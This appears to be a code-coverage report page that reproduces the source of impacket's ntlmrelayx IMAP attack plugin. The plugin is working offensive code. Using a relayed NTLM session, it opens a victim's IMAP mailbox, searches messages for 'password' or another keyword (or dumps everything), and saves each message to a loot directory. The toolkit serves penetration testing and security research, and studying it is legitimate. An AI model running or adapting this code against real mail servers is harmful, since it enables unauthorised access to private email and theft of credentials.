Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/imapattack.py : 12%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# IMAP Attack Class
8#
9# Authors:
10# Alberto Solino (@agsolino)
11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12#
13# Description:
14# IMAP protocol relay attack
15#
16# ToDo:
17#
18import re
19import os
20from impacket import LOG
21from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
23PROTOCOL_ATTACK_CLASS = "IMAPAttack"
25class IMAPAttack(ProtocolAttack):
26 """
27 This is the default IMAP(s) attack. By default it searches the INBOX imap folder
28 for messages with "password" in the header or body. Alternate keywords can be specified
29 on the command line. For more advanced attacks, consider using the SOCKS feature.
30 """
31 PLUGIN_NAMES = ["IMAP", "IMAPS"]
32 def run(self):
33 #Default action: Search the INBOX
34 targetBox = self.config.mailbox
35 result, data = self.client.select(targetBox,True) #True indicates readonly
36 if result != 'OK':
37 LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
38 LOG.info('Opening mailbox INBOX')
39 targetBox = 'INBOX'
40 result, data = self.client.select(targetBox,True) #True indicates readonly
41 inboxCount = int(data[0])
42 LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
43 #If we should not dump all, search for the keyword
44 if not self.config.dump_all:
45 result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
46 #Check if search worked
47 if result != 'OK':
48 LOG.error('Search failed: %s' % rawdata)
49 return
50 dumpMessages = []
51 #message IDs are separated by spaces
52 for msgs in rawdata:
53 dumpMessages += msgs.split(' ')
54 if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
55 dumpMessages = dumpMessages[:self.config.dump_max]
56 else:
57 #Dump all mails, up to the maximum number configured
58 if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
59 dumpMessages = list(range(1, inboxCount+1))
60 else:
61 dumpMessages = list(range(1, self.config.dump_max+1))
63 numMsgs = len(dumpMessages)
64 if numMsgs == 0:
65 LOG.info('No messages were found containing the search keywords')
66 else:
67 LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
68 for i, msgIndex in enumerate(dumpMessages):
69 #Fetch the message
70 result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
71 if result != 'OK':
72 LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
73 continue
75 #Replace any special chars in the mailbox name and username
76 mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
77 textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)
79 #Combine username with mailboxname and mail number
80 fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
82 #Write it to the file
83 with open(os.path.join(self.config.lootdir,fileName),'w') as of:
84 of.write(rawMessage[0][1])
85 LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))
87 #Close connection cleanly
88 self.client.logout()